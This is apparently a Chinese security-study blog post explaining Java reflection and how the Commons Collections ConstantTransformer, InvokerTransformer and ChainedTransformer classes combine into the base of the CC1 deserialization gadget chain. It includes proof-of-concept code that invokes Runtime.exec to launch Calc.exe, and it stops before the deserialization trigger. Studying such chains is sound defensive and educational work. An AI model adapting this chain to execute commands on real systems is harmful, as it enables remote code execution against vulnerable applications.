参考文章
- 大白话说Java反射:入门、使用、原理
- 菜鸟教程-Java反射
- csdn-反序列化调用链——Commons Collections 迭代调用链
前置知识
反射: Java在运行时动态获取类信息、操作类属性和方法的能力
如何获取一个对象:
- 获取类的 Class 对象实例
Class clz = Class.forName("com.zhenai.api.Apple");
|
- 根据 CLass 对象实例获取 Constructor 对象
Constructor appleConstructor = clz.getConstructor();
|
- 使用 Constructor 对象的 newInstance 方法获取反射类对象
Object appleObj = appleConstructor.newInstance();
|
如何调用某一个方法:
- 获取方法的 Method 对象
Method setPriceMethod = clz.getMethod("setPrice", int.class);
|
- 利用 invoke 方法调用方法
setPriceMethod.invoke(appleObj, 14);
|
特点:
- 突破封装性:可访问私有成员(需setAccessible(true))
- 动态性:运行时才确定操作对象(如
Class.forName("java.lang.Runtime"方法))
- 自省能力:可获取类结构(方法、字段、注解等)
反射使攻击者能绕过Java的访问控制,操作Runtime等敏感类。
| 术语 |
作用 |
漏洞利用中的角色 |
| 反射 |
运行时动态操作类 |
突破Java安全机制的基础能力 |
| 反射获取方法 |
提取类中的特定方法 |
获取敏感方法(如 getRuntime) |
| 反射调用 |
动态执行方法 |
触发命令执行(如 exec()) |
迭代链
poc
POC如下:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"Calc.exe"}) };
|
这是手动触发transfrom迭代链的方法
一般来说真实情况会是下面这样
public Object transform(Object object){ for(int i = 0; i < this.iTransformers.length; ++i){ object = this.iTransformers[i].transform(object); } return object; }
|
看不懂吗, 看不懂就对了
每个 InvokerTransformer 只能执行一个方法调用。要执行复杂操作,需要将多个转换器连接起来
获取目标类
我们可以通过ConstantTransformer类中的transform方法来获取类
Object o=new ConstantTransformer(Runtime.class).transform(Object.class); System.out.println(o);
|
ConstantTransformer实现了Transformer接口,重写了transform, 直接来看重写的内容, 发现可以获取到对应的类
public Object transform(Object input) { return this.iConstant; }
|
获取目标类方法
获取目标类的方式使用的InvokerTransformer, InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例
Transformer方法是直接调用反射机制来获取到方法的实例
public class InvokerTransformer implements Transformer {
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(methodName, paramTypes); return method.invoke(input, args); } catch (Exception e) { throw new FunctorException(...); } } }
|
那么我们执行exec就要进行连续获取
getMethod->getRuntime->invoke->exec
那么获取执行方法实例的poc就是
Object o=new ConstantTransformer(Runtime.class).transform(Object.class);
Object a=new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(o);
Object b=new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(a);
Object c=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"Calc.exe"}).transform(b);
|
迭代调用
那么直接调用的方式是我们需要手动的去调用他们的transform方法, 肯定无法在实战中使用, 我们需要找到一个可以进行迭代调用的方式
庆幸的是存在一个ChainedTransformer类, 该类实现了Transformer链式调用; 我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法
那么我们通过ChainedTransformer类调用:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"Calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(Object.class);
|
那么这样就可以直接触发整个transformers数组的Transform方法。 面临的问题就是如何去触发ChainedTransformer的Transform方法。那么这个就是之后整个反序列链的基础链
总结
所以核心就是下面这三个
ConstantTransformer获取类
InvokerTransformer反射方法
ChainedTransformer迭代调用
完整代码
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
public class testCC1 { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"Calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(Object.class); } }
|